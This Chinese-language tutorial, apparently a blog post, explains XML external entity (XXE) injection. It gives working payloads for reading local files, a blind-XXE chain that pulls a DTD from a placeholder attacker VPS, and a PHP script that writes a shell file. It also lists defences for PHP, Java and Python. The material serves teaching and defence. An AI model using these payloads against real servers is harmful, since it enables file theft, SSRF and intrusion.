XXE漏洞是XML外部实体注入漏洞,那什么是外部实体呢?
XML DTD
1、文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
2、DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
Ps:第二条是重点,也是XXE漏洞产生的原因,DTD可以定义外部实体并引用
DTD语法
-
若DTD要在XML文档中使用,他需要包含在·DOCTYPE声明中
-
语法
<!DOCTYPE 根元素 [元素声明]>
-
实体引用
<!ENTITY 实体名 “”实体值“”>
-
示例代码
<?xml version="1.0" encoding="utf-8"?> //xml声明 <!DOCTYPE playwin [ <!ENTITY name "playwin"> ]> <resume> <name> &name; </name> </resume>
- 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 ( ; )。
- 声明 name 的值为 playwin ,下面引用 &name;xml会自动解析为他的值,如果有的话,否则报错
-
外部实体
- 简单的说,就不是xml本身已定义的实体,需要引用在xml文件之外的数据。
- 语法
<!ENTITY 实体名字 SYSTEM "URI/URL">
- SYSTEM 启了一个声明作用,让解析器知道,这是一个外部实体
- 如果不在其他环境中,只打开xml文件本身,浏览器默认是不会引用外部实体
- 根据不同环境不同协议读取外部数据
什么是XXE
- XXE 也就是 XML外部实体注入攻击
利用方式
-
在php环境下
<?php $xml=simplexml_load_string($_GET['xml']); print_r($xml); ?>
-
将以下xml代码进行URL编码,读取文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE playwin [ <!ENTITY name SYSTEM "file:///D:/phpStudy/PHPTutorial/WWW/1.txt"> ]> <resume> <name> &name; </name> </resume>
-
回显
- 成功XXE
XXE能做什么
-
blind XXE
-
若上面php中没有print_r,我们还是可以发起http请求,进行攻击
-
<?php $xml=simplexml_load_string($_GET['xml']); ?>
-
利用参数实体
<!ENTITY % 实体名字 SYSTEM(外部实体加上) ‘实体值’>
-
在vps创建一个php文件
<?php file_put_contents("shell.php", $_GET['file']) ; ?>
-
通过过参数实体,请求vps上的dtd文件
- dtd文件
<!ENTITY % haha "<!ENTITY ok SYSTEM 'http://yourvps/2.php?file=123'>">
- xml文件
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE playwin [ <!ENTITY % name SYSTEM "http://yourvps/1.dtd"> //请求dtd文件 %name; %haha; ]> <resume> <name> &ok; </name> </resume>
-
结果
- 理论上我们可以写入shell
-
-
读取文件
- 利用各种协力读取想要的文件
- 读取php文件需要利用php://协议进行base64加密输出,因为php< ,>会影响到xml
-
命令执行
- php环境下,xml命令执行要求php装有expect扩展,而且php上解析也需要它
-
内网探测/SSRF
- XML 外部实体中是可以使用http://协议,可以利用该请求去探查内网,进行SSRF攻击
-
进行 DOS 攻击
-
文件上传
- 在java中利用jar://协议可实现
-
钓鱼
防御XXE
- 禁用开发语言引用外部实体的能力
-
PHP:
libxml_disable_entity_loader(true);
-
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
-
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
- 白名单过滤
判断是否存在XXE漏洞
- xml是否会被解析
<?xml version='1.0' encoding='utf-8'?> <!DOCTYPE ROOT [ <!ENTITY playwin "success"> ]> <root>&playwin;</root>
- 若出现success,则说明解析成功,进行下一步
- 检测服务器是否支持引用外部实体
<?xml version='1.0' encoding='utf-8'?> <!DOCTYPE ROOT [ <!ENTITY playwin SYSTEM "http://yourvps/xx.txt"> ]> <root>&playwin;</root>
- 解析成功,说明有XXE漏洞